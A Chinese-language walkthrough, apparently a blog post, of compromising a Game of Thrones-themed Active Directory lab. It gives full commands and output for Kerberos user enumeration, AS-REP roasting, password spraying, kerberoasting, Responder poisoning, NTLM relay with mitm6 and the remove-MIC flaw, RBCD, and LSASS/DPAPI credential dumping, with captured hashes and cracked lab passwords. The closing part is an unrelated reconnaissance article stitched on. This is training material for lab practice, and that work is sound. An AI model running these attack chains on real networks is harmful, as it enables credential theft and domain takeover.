| [email protected]
| [email protected]
| [email protected]
|_ [email protected]
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
如上 在`essos.local`(192.168.56.12)找到了一些有效的用户
### north.sevenkingdoms.local
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='north.sevenkingdoms.local',userdb=got_users.txt" 192.168.56.11 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-03 15:17 CST
Nmap scan report for winterfell.north.sevenkingdoms.local (192.168.56.11)
Host is up (0.00033s latency).
PORT STATE SERVICE
88/tcp open kerberos-sec
| krb5-enum-users:
| Discovered Kerberos principals
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
| [email protected]
|_ [email protected]
Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
如上 在`north.sevenkingdoms.local`(192.168.56.11)找到了一些有效的用户
根据nmap官方的提示<https://nmap.org/nsedoc/scripts/krb5-enum-users.html>
> 通过暴力查询 Kerberos 服务可能的用户名来发现有效的用户名。 当请求无效的用户名时，服务器将使用 Kerberos 错误代码
> KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN 进行响应，从而使我们能够确定用户名无效。 有效的用户名将非法使用 AS-REP 响应中的
> TGT 或错误 KRB5KDC_ERR_PREAUTH_REQUIRED，表明用户需要执行预身份验证。
当爆破用户时，badpwdcount值不会增加
使用密码进行验证
cme smb -u khal.drogo -p horse -d essos.local 192.168.56.12 --users
## 列出共享的Guest权限
在这里使用cme列出所有匿名的访问权限
cme smb 192.168.56.10-23 -u 'a' -p '' --shares
找到了有读写权限的匿名共享
## 获得用户密码
现在已经有了一些用户名了 需要获得他们的密码
有两种方式 分别是AS-REP Roast和Password spray密码喷洒
### AS-REP Roasting
[AS-REP Roasting](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat)
> _AS_ - _REP_ Roasting 是一种攻击类型，旨在寻找 **未为用户设置 Kerberos预身份验证标志的帐户**
> 。一旦发现，黑客工具可用于暴力破解用户密码。
首先根据之前枚举出的用户名 制作north.sevenkingdoms.local域的字典
sql_svc
jeor.mormont
samwell.tarly
jon.snow
hodor
rickon.stark
brandon.stark
sansa.stark
robb.stark
catelyn.stark
eddard.stark
arya.stark
krbtgt
vagrant
Guest
Administrator
python impacket-0.10.0/examples/GetNPUsers.py north.sevenkingdoms.local/ -no-pass -usersfile users_north.sevenkingdoms.local.txt
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] User sql_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jeor.mormont doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User samwell.tarly doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jon.snow doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User hodor doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User rickon.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[email protected]:6c40c1569d7d9bda2eeebca93e7c3b4d$ee84863d7ed647f92f68bc6888d202f86e06bedd84ee0eaa96c9a01e32cc99a01e2da9786775cf4c815ff5fa89e0d9ef7251d4ccf6765824cef1c7f21cd127c4a0c0a526c9adb4909b2d747c788bbfb30aad9d2f40fd8bef7a9906be11c095532bcb4856fd64c7955e82949dda366a70febbd7ce8b45bd809c40caeb02e3e9bede478361705bdac54ba59e3abec5a2b619ece365987504b1fc2ec82276ae3b197dc688e09944ace8743dd975868ff5f338cc9bb385c1ef5d263c4e93854140e22aec344e09d25127b95fd123c7e788a34438082ceea6190923bd02e3a263287ed082e0df732f3644e84497ee3d5ff6a3d97567f9f437621be5756154c76f38e45f6c220d1f1a
[-] User sansa.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User robb.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User catelyn.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User eddard.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User arya.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User vagrant doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
我们得到了brandon.stark 的ticket，我们将尝试使用hashcat破解它
./hashcat.bin -m18200 '[email protected]:6c40c1569d7d9bda2eeebca93e7c3b4d$ee84863d7ed647f92f68bc6888d202f86e06bedd84ee0eaa96c9a01e32cc99a01e2da9786775cf4c815ff5fa89e0d9ef7251d4ccf6765824cef1c7f21cd127c4a0c0a526c9adb4909b2d747c788bbfb30aad9d2f40fd8bef7a9906be11c095532bcb4856fd64c7955e82949dda366a70febbd7ce8b45bd809c40caeb02e3e9bede478361705bdac54ba59e3abec5a2b619ece365987504b1fc2ec82276ae3b197dc688e09944ace8743dd975868ff5f338cc9bb385c1ef5d263c4e93854140e22aec344e09d25127b95fd123c7e788a34438082ceea6190923bd02e3a263287ed082e0df732f3644e84497ee3d5ff6a3d97567f9f437621be5756154c76f38e45f6c220d1f1a' ../../rockyou.txt --force
现在一共有两个north.sevenkingdoms.local域的用户名和密码了：
* samwell.tarly:Heartsbane （前边枚举出的 在用户描述里写了密码）
* brandon.stark:iseedeadpeople （通过AS-REP Roasting得到的）
### CVE-2022-33679
这里也试一下这个CVE <https://github.com/Bdenneu/CVE-2022-33679> 不过没成功
### Password Spray密码喷洒
首先尝试最典型的密码和用户名相同的
cme smb 192.168.56.11 -u users.txt -p users.txt --no-bruteforce
因为我是用docker开的cme 这里无法识别成字典 而是字符串
进入docker内运行
找到了有效的用户名和密码hodor
可见错误次数也记录了
或者使用sprayhound
<https://github.com/Hackndo/sprayhound>
python sprayhound -U users.txt -d north.sevenkingdoms.local -dc 192.168.56.11 --lower
我们可以用有效用户尝试 sprayhound 以避免锁定帐户（选项 -t 设置剩余尝试次数）
sprayhound -U users.txt -d north.sevenkingdoms.local -dc 192.168.56.11 -lu hodor -lp hodor --lower -t 2
查看下锁定次数
现在得到了三个north域的有效的用户凭证
* samwell.tarly:Heartsbane （前边枚举出的 在用户描述里写了密码）
* brandon.stark:iseedeadpeople （通过AS-REP Roasting得到的）
* hodor:hodor (密码喷洒)
# 0x03 Enumeration with user 使用用户权限来枚举
现在有了几个账号了 需要进一步扩大权限
## 列出用户
* 当您在活动目录上获得一个帐户时，要做的第一件事是 **获得完整的用户列表** 。
* 一旦你得到它，你就可以在完整的用户列表上进行密码喷洒（你经常会发现其他帐户的密码很弱，比如 username=password、SeasonYear!、SocietynameYear! 甚至 123456）。
GetADUsers.py -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople
or
cme smb -u brandon.stark -p iseedeadpeople -d north.sevenkingdoms.local 192.168.56.11 --users
python impacket-0.10.0/examples/GetADUsers.py -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Querying north.sevenkingdoms.local for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- ------------------- Administrator 2022-11-29 23:16:56.991203 2022-12-08 23:33:32.526270
Guest <never> <never>
vagrant 2021-05-12 19:38:55.922520 2022-12-08 23:38:09.486896
krbtgt 2022-11-29 23:40:54.384925 <never>
2023-01-03 11:09:02.127401 <never>
arya.stark 2022-12-08 23:22:05.153754 2022-12-09 21:36:53.270991
eddard.stark 2022-12-08 23:22:09.207041 2023-01-03 21:08:02.475006
catelyn.stark 2022-12-08 23:22:12.386559 <never>
robb.stark 2022-12-08 23:22:15.393750 2023-01-03 21:10:20.175615
sansa.stark 2022-12-08 23:22:18.356514 <never>
brandon.stark 2022-12-08 23:22:21.241552 2023-01-03 16:12:48.097167
rickon.stark 2022-12-08 23:22:24.226727 <never>
hodor 2022-12-08 23:22:27.323817 <never>
jon.snow 2022-12-08 23:22:30.400802 <never>
samwell.tarly 2022-12-08 23:22:33.502194 <never>
jeor.mormont 2022-12-08 23:22:36.452247 <never>
sql_svc 2022-12-08 23:22:39.401813 2023-01-03 11:03:34.362067
cme smb -u brandon.stark -p iseedeadpeople -d north.sevenkingdoms.local 192.168.56.11 --users
SMB 192.168.56.11 445 WINTERFELL [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 192.168.56.11 445 WINTERFELL [+] north.sevenkingdoms.local\brandon.stark:iseedeadpeople
SMB 192.168.56.11 445 WINTERFELL [+] Enumerated domain user(s)
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\sql_svc badpwdcount: 3 baddpwdtime: 2023-01-03 08:12:22.471684+00:00
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\jeor.mormont badpwdcount: 3 baddpwdtime: 2023-01-03 08:12:22.471684+00:00
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\samwell.tarly badpwdcount: 3 baddpwdtime: 2023-01-03 08:12:22.488289+00:00
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\jon.snow badpwdcount: 3 baddpwdtime: 2023-01-03 08:12:22.471684+00:00
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\hodor badpwdcount: 1 baddpwdtime: 2023-01-03 08:01:00.519880+00:00
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\rickon.stark badpwdcount: 2 baddpwdtime: 2023-01-03 08:12:22.471684+00:00
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\brandon.stark badpwdcount: 0 baddpwdtime: 2023-01-03 08:12:22.488289+00:00
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\sansa.stark badpwdcount: 2 baddpwdtime: 2023-01-03 08:12:22.471684+00:00
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\robb.stark badpwdcount: 0 baddpwdtime: 2023-01-03 08:12:22.471684+00:00
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\catelyn.stark badpwdcount: 2 baddpwdtime: 2023-01-03 08:12:22.488289+00:00
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\eddard.stark badpwdcount: 0 baddpwdtime: 2023-01-03 08:12:22.471684+00:00
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\arya.stark badpwdcount: 2 baddpwdtime: 2023-01-03 08:12:22.471684+00:00
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\krbtgt badpwdcount: 2 baddpwdtime: 2023-01-03 08:12:22.456059+00:00
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\vagrant badpwdcount: 0 baddpwdtime: 1601-01-01 00:00:00+00:00
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\Guest badpwdcount: 2 baddpwdtime: 2023-01-03 08:12:22.456059+00:00
SMB 192.168.56.11 445 WINTERFELL north.sevenkingdoms.local\Administrator badpwdcount: 2 baddpwdtime: 2023-01-03 08:12:22.471684+00:00
或者使用ldap search
[Useful LDAP queries for Windows Active Directory
pentesting](https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/)
sudo apt install ldap-utils
ldapsearch -H ldap://192.168.56.11 -D "[email protected]" -w iseedeadpeople -b 'DC=north,DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" |grep 'distinguishedName:'
而且由于域信任的关系 我们可以使用ldap查询 **其他域** 内的用户
ldapsearch -H ldap://192.168.56.12 -D "[email protected]" -w iseedeadpeople -b ',DC=essos,DC=local' "(&(objectCategory=person)(objectClass=user))"
ldapsearch -H ldap://192.168.56.10 -D "[email protected]" -w iseedeadpeople -b 'DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))"
## keberoasting
> kerberoasting的知识：
>
>
> 通过SPN发现服务（比如MSSQL）
>
> 具有域内普通用户权限
>
> 向SPN服务进行交互
> 请求Kerberos票据（当用户的TGT被验证为有效时，TGS会向用户发送一张票据，该票据使用与SPN关联服务的计算机服务账号相同的NTLM
> Hash，比如MSSQL账户的Hash）
>
> 根据字典爆破生成Hash 去尝试打开该Kerberos票据
>
> 如果成功 则获得了MSSQL服务账户的密码
>
> 攻击者可以伪造TGS白银票据 在TGS中标识访问账号为域管理员账号 从而获取服务的域管理员访问权限
>
> 或者用于委派攻击(服务账号大多都会被设置委派，如果是非约束委派，则获取服务账号的口令后，可直接获取域管理员权限)
在活动目录中，我们经常会看到设置了 SPN 的用户。
GetUserSPNs.py -request -dc-ip 192.168.56.11 north.sevenkingdoms.local/brandon.stark:iseedeadpeople -outputfile kerberoasting.hashes
也可以通过cme来实现
cme ldap 192.168.56.11 -u brandon.stark -p 'iseedeadpeople' -d north.sevenkingdoms.local --kerberoasting KERBEROASTING
然后对hash进行爆破
hashcat -m 13100 --force -a 0 kerberoasting.hashes /usr/share/wordlists/rockyou.txt --force
这样又得到了一个用户：
* north.sevenkingdoms.local/jon.snow:iknownothing
（不应该是服务账户吗？为什么得到的是jon.snow的）
目前一共有四个账户了：
* north.sevenkingdoms.local/samwell.tarly:Heartsbane （前边枚举出的 在用户描述里写了密码）
* north.sevenkingdoms.local/brandon.stark:iseedeadpeople （通过AS-REP Roasting得到的）
* north.sevenkingdoms.local/hodor:hodor (密码喷洒)
* north.sevenkingdoms.local/jon.snow:iknownothing（kerberoasting）
## share enum
我们有一个域用户，所以我们可以继续使用用户帐户枚举共享
cme smb 192.168.56.10-23 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --shares
现在一个新的共享文件夹是可读的（在该靶场里什么都没有，但在真正的渗透中可能会经常得到有趣的信息）
## DNS dump
导出机器的dns解析记录 可能跟我们渗透中常用的arp -a查看arp缓存等目的相似？
<https://github.com/dirkjanm/adidnsdump>
adidnsdump -u 'north.sevenkingdoms.local\jon.snow' -p 'iknownothing' winterfell.north.sevenkingdoms.local
## Bloodhound
* Boodhound 是活动目录渗透测试的最佳工具之一。 此工具将帮助您找到破解 AD 的所有路径，是您武器库中的必备工具！
* 要启动 bloodhound，您首先需要从不同的域中检索所有数据。
在这里由于是linux环境，使用python版本的工具来导出域中的数据
<https://github.com/fox-it/BloodHound.py>
windows下的话可以使用
<https://github.com/BloodHoundAD/SharpHound>
### BloodHound[.]py(linux)
python bloodhound.py --zip -c All -d north.sevenkingdoms.local -u brandon.stark -p iseedeadpeople -dc winterfell.north.sevenkingdoms.local
python bloodhound.py --zip -c All -d sevenkingdoms.local -u [email protected] -p iseedeadpeople -dc kingslanding.sevenkingdoms.local
python bloodhound.py --zip -c All -d essos.local -u [email protected] -p iseedeadpeople -dc meereen.essos.local
但是python内的dns解析不到我们在/etc/hosts设定的ip地址 会报类似的错误
我的做法是魔改代码手动指定ip地址
我们现在得到了 3 个域的信息，保存在了zip包里
但是 python 提取并不如windows项目提取的信息那么完整：“支持大部分，但不是所有的 BloodHound (SharpHound)
功能（主要是缺少基于 GPO 的方法）”
然后进行信息可视化
前边的BloodHound.py(linux)和SharpHound(win)是用于提取信息的，这个BloodHound是检索和可视化信息的
<https://github.com/BloodHoundAD/BloodHound>
首先启动neo4j数据库 然后启动Bloodhound 将zip导入 然后可视化查询
[世界领先的图数据库Neo4j现提供永久免费云服务](https://cloud.tencent.com/developer/article/2091902)
刚开始懒得搭建了 尝试了在线的 没连上
后来根据官方教程本地搭建neo4j
[macOS - BloodHound 4.2.0
documentation](https://bloodhound.readthedocs.io/en/latest/installation/osx.html)
成功连上
导入三个zip包
软件不会用 网页上查一下
单个节点都能查到 但是组合起来查不到WP中的效果 估计是bloodhound-python版本导出数据不全(或者我靶场环境)的原因
下边的图参考wp
* 显示所有的域和主机
MATCH p = (d:Domain)-[r:Contains*1..]->(n:Computer) RETURN p
* 显示所有用户
MATCH p = (d:Domain)-[r:Contains*1..]->(n:User) RETURN p
* domain/group/user之间的映射
MATCH q=(d:Domain)-[r:Contains*1..]->(n:Group)<-[s:MemberOf]-(u:User) RETURN q
* 用户ACL
MATCH p=(u:User)-[r1]->(n) WHERE r1.isacl=true and not tolower(u.name) contains 'vagrant' RETURN p
有关bloodhound的更多信息
* <https://en.hackndo.com/bloodhound/>
* <https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/>
### SharpBloud(Win)
后来我具有rdp权限之后，又在win上导出了数据
在Ubuntu上安装neo4j
<https://bloodhound.readthedocs.io/en/latest/installation/linux.html>
<https://blog.csdn.net/Fuziqp/article/details/126995896>
远程桌面连接到192.168.56.22 以下是作者的命令 我们直接使用RDP客户端
xfreerdp /u:jon.snow /p:iknownothing /d:north /v:192.168.56.22 /cert-ignore
运行SharpHound
.\SharpHound.exe -d north.sevenkingdoms.local -c all --zipfilename bh_north_sevenkingdoms.zip
.\SharpHound.exe -d sevenkingdoms.local -c all --zipfilename bh_sevenkingdoms.zip
.\SharpHound.exe -d essos.local -c all --zipfilename bh_essos.zip
在ubuntu上启动neo4j(密码neo4j@123) 启动BloodHound导入zip包
之前BloodHound.py导出后查不到的数据 现在已经可以查到了
### AutoBloody
看到一个微信文章说使用AutoBloody自动利用 这里也试一下
<https://github.com/CravateRouge/autobloody>
[自动利用 BloodHound 显示的 Active Directory
权限升级路径的工具](https://mp.weixin.qq.com/s/TF_qm60mPg8pTmFle3699w)
autobloody -u jon.snow -p 'iknownothing' --host winterfell.north.sevenkingdoms.local -dp 'neo4j@123' -ds '[email protected]' -dt 'NORTH.SEVENKINGDOMS.LOCAL'
报错了
可能是依赖没满足
<https://neo4j.com/docs/graph-data-science/current/installation/neo4j-server/>
好了
继续执行
如下，一共有两条路径，第一条的太远，只手动用第二条`path_dict = [pathgen(args)[1]]`
也没成功。。 看来自动域渗透还是任重道远啊
# 0x04 Poison and Relay 投毒和中继
在开始使用用户帐户进行攻击之前，我们将退回到没有用户权限的状态，看看可以用responder、mitm6 和 NTLM 中继做什么
这里相关的知识推荐网上搜一搜或者看一下我推荐的那几本书！
<https://tttang.com/archive/1548/> 这个博客说的还可以
## Responder
<https://github.com/lgandx/Responder>
可以使用Responder获得如下信息：
* 用户名
* netntlmv1哈希（如果服务器很旧）/ netntlmv2 哈希
* 重定向身份验证的能力（NTLM 中继）
在本靶场中，有两个bot(robb和eddard)可以模拟 LLMRN、MDNS 和 NBT-NS 请求。 一位用户的密码很弱，但没有管理员权限。
另一个用户具有管理员权限但使用强密码。
启动Responder
sudo python Responder.py -I vboxnet0
可见得到了robb.stark的netntlmv2哈希
bot尝试与 bravos 而不是 braavos 建立 smb 连接。 dns 不知道没有两个“a”的 bravos，因此默认情况下 Windows
将发送广播请求以查找关联的计算机。 使用Responder，我们回答那个广播查询并说这个服务器是我们，所以我们从用户那里得到连接。
再过几分钟（eddard 被设置为每 5 分钟运行一次，robb每 3 分钟运行一次）我们也从 eddard.stark 获得了一个连接：
netntlm 哈希不能用于传递哈希，但可以破解它们以找回密码。
> NTLM hash是windows登录密码的一种hash，可以在Windows系统的SAM文件或者域控的NTDS.dit文件中提取到，NTLM
> hash支持哈希传递攻击
> Net-NTLM
> hash是网络环境下NTLM认证的hash，该hash不能进行哈希传递，但是可以用于ntlm中继攻击。可以破解。<https://www.jianshu.com/p/a210528f9b35>
robb.stark::NORTH:0876b18a01701f91:970A0BA34C898C3615C43ED75A2E0687:0101000000000000801D56604C20D901D532BF1FCD2CF6530000000002000800420058005200550001001E00570049004E002D004500410032004B00410056004900390039004400300004003400570049004E002D004500410032004B0041005600490039003900440030002E0042005800520055002E004C004F00430041004C000300140042005800520055002E004C004F00430041004C000500140042005800520055002E004C004F00430041004C0007000800801D56604C20D901060004000200000008003000300000000000000000000000003000007815A1B417C8AA4EBB4C38038626559940F976CA8BF6562462BACDFFE612B2400A001000000000000000000000000000000000000900160063006900660073002F0042007200610076006F0073000000000000000000
eddard.stark::NORTH:d465d8c2f614afeb:2AAA9D19160E8BF346F672371E1A8498:0101000000000000801D56604C20D901062B9C9BC8AB098D0000000002000800420058005200550001001E00570049004E002D004500410032004B00410056004900390039004400300004003400570049004E002D004500410032004B0041005600490039003900440030002E0042005800520055002E004C004F00430041004C000300140042005800520055002E004C004F00430041004C000500140042005800520055002E004C004F00430041004C0007000800801D56604C20D901060004000200000008003000300000000000000000000000003000007815A1B417C8AA4EBB4C38038626559940F976CA8BF6562462BACDFFE612B2400A001000000000000000000000000000000000000900140063006900660073002F004D006500720065006E000000000000000000
hashcat -m 5600 --force -a 0 responder.hashes rockyou.txt
我们很快得到另一个用户帐户 robb.stark:sexywolfy。 ~~这足以攻击north域，因为其是winterfell（north域）的管理员~~
。（我认为这是WP作者的笔误，eddard才是管理员）
Eddard的密码比较强，用这个方法是破解不了的。 这并不意味着我们无能为力。 我们可以做的是将 eddard 连接 **中继** 到unsigned
smb 服务器
> Responder 将日志保存在 /opt/tools/Responder/logs（在 exegol 上），如果您需要再次显示它们。
>
> 如果要删除以前捕获的日志（消息跳过以前捕获的哈希）删除文件 /opt/tools/Responder/Responder.db
回顾一下目前的权限：
* north.sevenkingdoms.local/samwell.tarly:Heartsbane （前边枚举出的 在用户描述里写了密码）
* north.sevenkingdoms.local/brandon.stark:iseedeadpeople （通过AS-REP Roasting得到的）
* north.sevenkingdoms.local/hodor:hodor (密码喷洒)
* north.sevenkingdoms.local/jon.snow:iknownothing（kerberoasting）
* north.sevenkingdoms.local/robb.stark:sexywolfy （Responder）
## NTLM Relay
### unsigned smb
首先找到`signing:False`的服务器
cme smb 192.168.56.10-23 --gen-relay-list relay.txt
接下来尝试将ntlm认证中继到这些服务器
### responder + ntlmrelayx to smb
在启动responder对 LLMNR、MDNS 和 NBT-NS 请求的回复投毒之前，我们必须停止responder监听smb 和 http
服务器，因为我们不想直接获取哈希值，但我们想将它们 **中继** 到 ntlmrelayx。
sed -i 's/HTTP = On/HTTP = Off/g' Responder.conf && cat Responder.conf | grep --color=never 'HTTP ='
sed -i 's/SMB = On/SMB = Off/g' Responder.conf && cat Responder.conf | grep --color=never 'SMB ='
接下来启动ntlmrelayx
sudo python ntlmrelayx.py -tf relay.txt -of netntlm -smb2support -socks
-tf : list of targets to relay the authentication
-of : output file, this will keep the captured smb hashes just like we did before with responder, to crack them later
-smb2support : support for smb2
-socks : will start a socks proxy to use relayed authentication
如果报错的话安装or升级一下依赖包
pip3 install Flask Jinja2 --upgrade
重新启动Responder
sudo python Responder.py -I vboxnet0
查看代理
再等一会
* 投毒连接被中继到了 castelblack (192.168.56.22) 和 essos (192.168.56.23)，并设置了一个 socks 代理来使用该连接。
* 由于 eddard.stark 是 north.sevenkingdoms.local 的域管理员，他在 castelback (192.168.56.22) 上获得了管理员权限。
现在我们可以使用这个中继以管理员身份访问计算机
### Use a socks relay with an admin account 使用socks代理
分别使用 **Lsassy、DonPapi、Smbclient以及用于命令执行的smbexec或atexec**
首先配置proxychains代理
/etc/proxychains.conf
socks5 127.0.0.1 1080
1. **Lsassy**
<https://github.com/Hackndo/lsassy>
* 使用 lsassy 获取 lsass 进程存储的凭据
* 域帐户信息存储在 LSASS 进程中，因此转储此进程可以为您提供更多的域帐户和权限。
* Lsassy 允许您远程转储 lsass（比执行 procdump、下载 lsass 转储文件并在本地执行 pypykatz 或 mimikatz 更方便），它会为您执行所有痛苦的操作，如转储和读取 lsass 内容（它也只转储 lsass 转储的有用部分优化传输时间）。 （lsassy 也作为一个 cme 模块存在）
proxychains lsassy --no-pass -d NORTH -u EDDARD.STARK 192.168.56.22
2. **DonPapi**
<https://github.com/login-securite/DonPAPI>
我比较喜欢的用 linux 检索 windows 秘密的工具是 donPAPI，用于获取 dpapi 和其他密码存储信息（ **文件、浏览器、计划任务**
等）。 这个工具不接触 LSASS，所以它更隐蔽，即使在目标上启用了 av 和 edr，它也能在大部分时间工作。
proxychains python DonPAPI.py -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22'
* DonPapi 给我们存储的 sql 服务 sql_svc:YouWillNotKerboroast1ngMeeeeee 的密码
* 由于此计算机上的 **计划任务** 设置，我们还获得了 robb.stark 的密码sexywolfy
3. **Smbclient**
使用 smbclient 直接连接到 smbserver
proxychains python impacket-0.10.0/examples/smbclient.py -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22' -debug
4.命令执行： **smbexec** or **atexec**
使用socks代理连接，只能使用 smbexec 或 atexec。 wmiexec、psexec 和 dcomexec 都不起作用。
<https://github.com/SecureAuthCorp/impacket/issues/412>
proxychains python impacket-0.10.0/examples/smbexec.py -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22' -debug
## Mitm6 + ntlmrelayx to ldap
<https://github.com/dirkjanm/mitm6>
另一种使网络中毒的有用方法是响应 DHCPv6 请求并将我们的主机设置为默认 DNS 服务器。
默认情况下，Windows 更喜欢 IPv6 而不是 IPv4，因此我们可以捕获并毒化对 DHCPv6 查询的响应，以更改 DNS 服务器并使用工具
MITM6 将查询重定向到我们的机器。
* 我们将启动 mitm6 来毒化 dhcpv6 并从主机获取 dns 请求
* 我注意到我们可以毒化域控制器，但在那之后 DC 不关心并且仍然使用他们的本地主机 dns 服务器。所以我们必须针对服务器(非DC)
* 对于这个例子，我们将毒化 braavos 服务器。 我们将回答 wpad 查询并将 http 查询中继到 meereen 上的 ldaps，以添加具有委派权限的计算机。（wpad协议 <https://xz.aliyun.com/t/1739> <https://www.cnblogs.com/zpchcbd/p/15717773.html>）
* 首先我们需要对 braavos.local(SRV03 192.168.56.23) 网络配置做一些小改动（编辑：如果你在 08/18/2022 之后进行了 ansible 配置，则不再需要）
* 使用 rdp 上的 khal.drogo:horse 连接到 braavos，并将以太网的 dns 服务器更改为自动（我将很快在 ansible 实验室手册中修复它，但现在你必须手动完成）。 仅将第一个以太网连接更改为自动 dns。
可以看到已经设置好了
启动mitm6和ntlmrelayx
mitm6 -i vboxnet0 -d essos.local -d sevenkingdoms.local -d north.sevenkingdoms.local --debug
ntlmrelayx.py -6 -wh wpadfakeserver.essos.local -t ldaps://meereen.essos.local --add-computer relayedpccreate --delegate-access
可以看到dns已经被投毒了
我们等待 wpad http 查询将请求中继到 ldaps（您可以重新启动 SRV03 以毒害和利用而无需等待）
vagrant reload SRV03
正常应该是这样
但我这边可以收到wpad的请求 但是一直没成功 要不然python报错 要不然就这样
* 已创建一台具有委派权限的新计算机relayedpccreate ，因为我们毒化了 Braavos$ 计算机帐户，它可以在创建的计算机上设置 msDS-AllowedToActOnBehalfOfOtherIdentity。
* 如后续，我们可以继续 RBCD 利用（使用 getST 调用 s4u2proxy）
攻击的逻辑是：
攻击者控制了服务A（Braavos$）和服务B（relayedpccreate），在服务A上配置了受限委派，在服务B上配置了msDS-AllowedToActOnBehalfOfOtherIdentity=服务A，随后攻击者便能够以服务A的身份调用s4u2proxy协议，获取Braavos$访问relayedpccreate的TGS票据。
* 如果我们指定一个目录，所有关于 ldap 的信息都会自动转储
ntlmrelayx.py -6 -wh wpadfakeserver.essos.local -t ldaps://meereen.essos.local -l /workspace/loot
* 使用essos.local/khal.drogo:horse登录rdp
* 当中继启动并运行时，我们可以获得所有域信息
我这边也没成功 python又报错了
借用一下WP的图
> 我们可以做的另一件事是像我们对Responder所做的那样也中继到 smb 服务器（但是现在没有bot可以做到这一点）
## Coerced auth smb + ntlmrelayx to ldaps with remove mic (CVE-2019-1040)
旧版mindmap的图
我们可以使用多种方法（petitpotam、printerbug、DFSCoerce）强制从 meereen DC 连接到我们的主机。
我们可以使用刚刚出现的一体式工具 coercer
<https://github.com/p0dalirius/Coercer>
正如 hackndo 博客 ([en.hackndo.com/ntlm-relay](http://en.hackndo.com/ntlm-relay))
和黑客 receipe (www.thehacker.recipes/ad/movement/ntlm/relay) 中的精彩解释，您不能将 smb
连接中继到 ldap(s)连接而不使用 CVE-2019-1040(remove-mic漏洞)。
* 使用 remove mic 启动中继到 meereen.essos.local 的 ldaps
ntlmrelayx -t ldaps://meereen.essos.local -smb2support --remove-mic --add-computer removemiccomputer --delegate-access
* 在 braavos 上运行强制身份验证（braavos 是最新的 windows server 2016，因此 petitpotam unauthenticated 在这里不起作用）
python3 coercer.py -u khal.drogo -d essos.local -p horse -t braavos.essos.local -l 192.168.56.1
不出意料 又报错了
正常下应该
添加了新的计算机
然后使用RBCD渗透braavos
逻辑跟上边描述的类似
getST.py -spn HOST/BRAAVOS.ESSOS.LOCAL -impersonate Administrator -dc-ip 192.168.56.12 'ESSOS.LOCAL/removemiccomputer$:_53>W3){OkTY{ej'
然后使用ticket获取secret
export KRB5CCNAME=/workspace/Administrator.ccache
secretsdump -k -no-pass ESSOS.LOCAL/'Administrator'@braavos.essos.local
在下一部分 继续使用已有的账户权限进行渗透（使用SamAccountName和PrintNightMare） | 社区文章 |
文章原载与公众号：猪猪谈安全
作者：随风kali
信息收集
搞渗透的人应该都清楚，信息收集对于渗透测试来说是非常重要的，我们手上掌握的目标的信息越多，成功渗透的概率就越大，而信息收集又分为两类。
第一类：主动信息收集：通过直接访问、扫描网站，这种流量将流经网站
第二类：被动信息收集：利用第三方的服务对目标进行访问了解，比例：Google搜索、Shodan搜索等
正所谓知己知彼百战百胜，下面就来介绍一些信息收集的常用手段。
域名
域名注册人信息收集
访问<https://www.chinaz.com/> 站长之家这个网站
1599268779.png!small
1599268793.png!small
大家还可以点击上面的whois反查，查看更多信息。
子域名爆破
1、利用工具如（wydomain、layer子域名挖掘机、dnsenum）
这里演示一下layer子域名挖掘机使用，工具大同小异
下载链接链接：<https://pan.baidu.com/s/126WRnM2du8nm5LUJLWTTbg> 提取码：cy0w
打开软件
